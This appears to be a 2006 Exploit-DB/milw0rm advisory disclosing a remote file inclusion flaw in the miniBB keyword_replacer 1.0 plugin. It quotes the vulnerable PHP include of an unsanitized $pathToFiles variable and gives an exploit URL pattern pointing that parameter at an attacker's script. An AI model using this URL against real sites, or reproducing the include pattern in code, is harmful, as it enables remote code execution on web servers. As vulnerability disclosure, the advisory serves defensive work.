MiniBB keyword_replacer 1.0 - 'pathToFiles' File Inclusion

EDB-ID:

2528


Author:

Kw3[R]Ln

Type:

webapps


Platform:

PHP

Date:

2006-10-12


---------------------------------------------------------------------------
miniBB keyword_replacer <= 1.0 [pathToFiles] Remote File Include Vulnerability
---------------------------------------------------------------------------


Discovered By Kw3[R]Ln [ Romanian Security Team ] : hTTp://RST-CREW.net :
Remote : Yes
Critical Level : Dangerous
---------------------------------------------------------------------------

Affected software description :
~~~~~~~~~~~~~~~~~~~~~~~~~~
Application : miniBB keyword_replacer
version : 1.0
URL : http://www.minibb.net/forums/storage/mods/minibb_plugin_keyword_replacer.zip
------------------------------------------------------------------

Vurnerable CoDE:
~~~~~~~~~~~~~~~~~~~~~~~~~~

if(!isset($pathToFiles)) include('./setup_options.php');
include($pathToFiles.'/keywords/keywords.php');

Exploit:
~~~~
Variable $pathToFiles not sanitized.When register_globals=on an attacker ca
n exploit this vulnerability with a simple php injection script.

# http://www.site.com/[path]/addon_keywordreplacer.php?pathToFiles=[Evil_Script]
---------------------------------------------------------------------------

Shoutz:
~~

# Greetz to [Oo], str0ke, th0r, RST TEAM: [ !_30, darkking, DarkWizzard, Elias, Icarius, MiniDisc, Nemessis, Shocker, SpiridusuCaddy and sysghost !]
# To all members of #h4cky0u and RST [ hTTp://RST-CREW.net ]
---------------------------------------------------------------------------

*/

Contact:
~~~~

Nick: Kw3rLn
E-mail: ciriboflacs[at]YaHoo[dot]Com
Homepage: hTTp://RST-CREW.NET
__/*

# milw0rm.com [2006-10-12]